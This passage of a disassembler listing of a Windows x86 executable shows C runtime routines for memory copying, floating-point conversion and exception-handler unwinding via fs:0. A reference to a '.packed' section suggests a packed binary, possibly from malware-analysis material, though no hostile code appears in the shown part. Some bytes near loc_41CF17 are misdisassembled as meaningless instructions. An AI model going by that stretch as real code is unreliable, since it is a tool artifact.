		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CDE0:				; DATA XREF: sub_41CD20+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDFC	dd offset loc_41CE5F	; DATA XREF: sub_41CD20:loc_41CD7Cr
		dd offset loc_41CE4C
		dd offset loc_41CE44
		dd offset loc_41CE3C
		dd offset loc_41CE34
		dd offset loc_41CE2C
		dd offset loc_41CE24
		dd offset loc_41CE1C
; ---------------------------------------------------------------------------


loc_41CE1C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41CE24:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41CE2C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41CE34:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41CE3C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41CE44:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41CE4C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CE5F:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20:off_41CDFCo
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CE68	dd offset loc_41CE78	; DATA XREF: sub_41CD20+35r
					; sub_41CD20+92r ...
		dd offset loc_41CE80
		dd offset loc_41CE8C
		dd offset loc_41CEA0
; ---------------------------------------------------------------------------


loc_41CE78:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CE80:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CE8C:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CEA0:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CEB8:				; CODE XREF: sub_41CD20+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CEEC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CEE0:				; CODE XREF: sub_41CD20+1B1j
					; sub_41CD20+208j ...
		neg	ecx
		jmp	off_41CFB0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CEEC:				; CODE XREF: sub_41CD20+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CF04
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CF04+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CF04:				; CODE XREF: sub_41CD20+1D6j
					; DATA XREF: sub_41CD20+1DDr
		jmp	off_41D000[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF17+1
; ---------------------------------------------------------------------------
		cmp	bh, cl
		inc	ecx
		add	[eax-31h], ah
		inc	ecx


loc_41CF17:				; DATA XREF: sub_41CD20+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CFB4
		dd offset loc_41CFBC
		dd offset loc_41CFC4
		dd offset loc_41CFCC
		dd offset loc_41CFD4
		dd offset loc_41CFDC
		dd offset loc_41CFE4
off_41CFB0	dd offset loc_41CFF7	; DATA XREF: sub_41CD20+1C2r
; ---------------------------------------------------------------------------


loc_41CFB4:				; DATA XREF: sub_41CD20+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41CFBC:				; DATA XREF: sub_41CD20+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41CFC4:				; DATA XREF: sub_41CD20+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41CFCC:				; DATA XREF: sub_41CD20+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41CFD4:				; DATA XREF: sub_41CD20+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41CFDC:				; DATA XREF: sub_41CD20+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41CFE4:				; DATA XREF: sub_41CD20+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CFF7:				; CODE XREF: sub_41CD20+1C2j
					; DATA XREF: sub_41CD20:off_41CFB0o
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41D000	dd offset loc_41D010	; DATA XREF: sub_41CD20+1B7r
					; sub_41CD20:loc_41CF04r ...
		dd offset loc_41D018
		dd offset loc_41D028
		dd offset loc_41D03C
; ---------------------------------------------------------------------------


loc_41D010:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D018:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D028:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D03C:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CD20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D055(double)

sub_41D055	proc near		; CODE XREF: sub_40D2F4+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43AE20
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41D0DB
		call	sub_421F51
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41D0BE
		cmp	eax, 2
		jle	short loc_41D0B0
		cmp	eax, 3
		jnz	short loc_41D0BE
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_421861
		add	esp, 10h
		jmp	short loc_41D120
; ---------------------------------------------------------------------------


loc_41D0B0:				; CODE XREF: sub_41D055+3Fj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41D120
; ---------------------------------------------------------------------------


loc_41D0BE:				; CODE XREF: sub_41D055+3Aj
					; sub_41D055+44j
		fld	[ebp+arg_0]
		fadd	dbl_4276F8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41D118
; ---------------------------------------------------------------------------


loc_41D0DB:				; CODE XREF: sub_41D055+2Fj
		call	sub_421F16
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41D0FE


loc_41D0F0:				; CODE XREF: sub_41D055+ACj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41D120
; ---------------------------------------------------------------------------


loc_41D0FE:				; CODE XREF: sub_41D055+99j
		test	bl, 20h
		jnz	short loc_41D0F0
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_41D118:				; CODE XREF: sub_41D055+84j
		call	sub_4218B4
		add	esp, 1Ch


loc_41D120:				; CODE XREF: sub_41D055+59j
					; sub_41D055+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41D055	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D124	proc near		; CODE XREF: sub_41C164+9p
					; sub_422152+21p
					; DATA XREF: ...
		call	sub_41D13C
		call	sub_422152
		mov	dword_4DBE40, eax
		call	sub_422102
		fnclex
		retn
sub_41D124	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41D13C	proc near		; CODE XREF: sub_41D124p
		mov	eax, offset sub_422540
		mov	off_43D434, offset sub_4221D5
		mov	off_43D430, eax
		mov	off_43D438, offset sub_42223B
		mov	off_43D43C, offset sub_42217B
		mov	off_43D440, offset sub_422223
		mov	off_43D444, eax
		retn
sub_41D13C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D174	proc near		; CODE XREF: sub_40D2F4+1Bp
					; sub_40D2F4+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41D174	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D19B(double)

sub_41D19B	proc near		; CODE XREF: sub_40D340+82p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43AE38
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41D221
		call	sub_421F51
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41D204
		cmp	eax, 2
		jle	short loc_41D1F6
		cmp	eax, 3
		jnz	short loc_41D204
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_421861
		add	esp, 10h
		jmp	short loc_41D266
; ---------------------------------------------------------------------------


loc_41D1F6:				; CODE XREF: sub_41D19B+3Fj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41D266
; ---------------------------------------------------------------------------


loc_41D204:				; CODE XREF: sub_41D19B+3Aj
					; sub_41D19B+44j
		fld	[ebp+arg_0]
		fadd	dbl_4276F8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41D25E
; ---------------------------------------------------------------------------


loc_41D221:				; CODE XREF: sub_41D19B+2Fj
		call	sub_421F16
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41D244


loc_41D236:				; CODE XREF: sub_41D19B+ACj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41D266
; ---------------------------------------------------------------------------


loc_41D244:				; CODE XREF: sub_41D19B+99j
		test	bl, 20h
		jnz	short loc_41D236
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_41D25E:				; CODE XREF: sub_41D19B+84j
		call	sub_4218B4
		add	esp, 1Ch


loc_41D266:				; CODE XREF: sub_41D19B+59j
					; sub_41D19B+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41D19B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D26A	proc near		; CODE XREF: sub_4229B1+71p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41D26A	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41D29E	proc near		; CODE XREF: sub_422B62+199p
					; sub_422D26+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41D29E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D2A5	proc near		; CODE XREF: sub_422B62+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41D2A5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2AC	proc near		; CODE XREF: sub_41D45E+5Cp
					; sub_4229B1:loc_4229E2p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41D2D4
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_426356	; RtlUnwind


loc_41D2D4:				; DATA XREF: sub_41D2AC+11o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_41D2AC	endp

; ---------------------------------------------------------------------------


loc_41D2FB:				; CODE XREF: .packed:00426AACj
					; .packed:00426AC9j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_4225B6
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D331	proc near		; CODE XREF: sub_422A2C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41D385
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422DB0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41D331	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D385	proc near		; DATA XREF: sub_41D331+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_4225B6
		add	esp, 20h
		pop	ebp
		retn
sub_41D385	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D3AA	proc near		; CODE XREF: sub_4227F8+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41D45E
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41D430
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DBE80
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_41D430:				; DATA XREF: sub_41D3AA+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41D44D
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41D456
; ---------------------------------------------------------------------------


loc_41D44D:				; CODE XREF: sub_41D3AA+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41D456:				; CODE XREF: sub_41D3AA+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D3AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D45E	proc near		; DATA XREF: sub_41D3AA+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41D481
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41D4CE
; ---------------------------------------------------------------------------


loc_41D481:				; CODE XREF: sub_41D45E+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_4225B6
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41D4BF
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41D2AC


loc_41D4BF:				; CODE XREF: sub_41D45E+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41D4CE:				; CODE XREF: sub_41D45E+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D45E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4D3	proc near		; CODE XREF: sub_422651+C6p
					; sub_4227F8+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41D52A


loc_41D4F1:				; CODE XREF: sub_41D4D3+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D4FB
		call	sub_422E52


loc_41D4FB:				; CODE XREF: sub_41D4D3+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41D510
		cmp	ecx, [eax+8]
		jle	short loc_41D515


loc_41D510:				; CODE XREF: sub_41D4D3+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D521


loc_41D515:				; CODE XREF: sub_41D4D3+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41D521:				; CODE XREF: sub_41D4D3+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41D4F1
		mov	eax, [ebp+var_4]


loc_41D52A:				; CODE XREF: sub_41D4D3+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41D53E
		cmp	esi, eax
		jbe	short loc_41D543


loc_41D53E:				; CODE XREF: sub_41D4D3+65j
		call	sub_422E52


loc_41D543:				; CODE XREF: sub_41D4D3+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41D4D3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D550	proc near		; CODE XREF: sub_423CC0+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_41D568
		push	[ebp+arg_0]
		call	sub_426356	; RtlUnwind


loc_41D568:				; DATA XREF: sub_41D550+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41D550	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D570	proc near		; DATA XREF: sub_41D592+Ao
					; sub_41D5FA+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41D591
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41D591:				; CODE XREF: sub_41D570+10j
		retn
sub_41D570	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D592	proc near		; CODE XREF: sub_422AD2+Dp
					; sub_423CC0+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41D570
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41D5AF:				; CODE XREF: sub_41D592:loc_41D5EAj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41D5EC
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41D5EC
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41D5EA
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41D626
		call	dword ptr [ebx+esi*4+8]


loc_41D5EA:				; CODE XREF: sub_41D592+44j
		jmp	short loc_41D5AF
; ---------------------------------------------------------------------------


loc_41D5EC:				; CODE XREF: sub_41D592+2Aj
					; sub_41D592+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41D592	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D5FA	proc near		; CODE XREF: sub_422AF2+37p
		xor	eax, eax
		mov	ecx, large fs:0
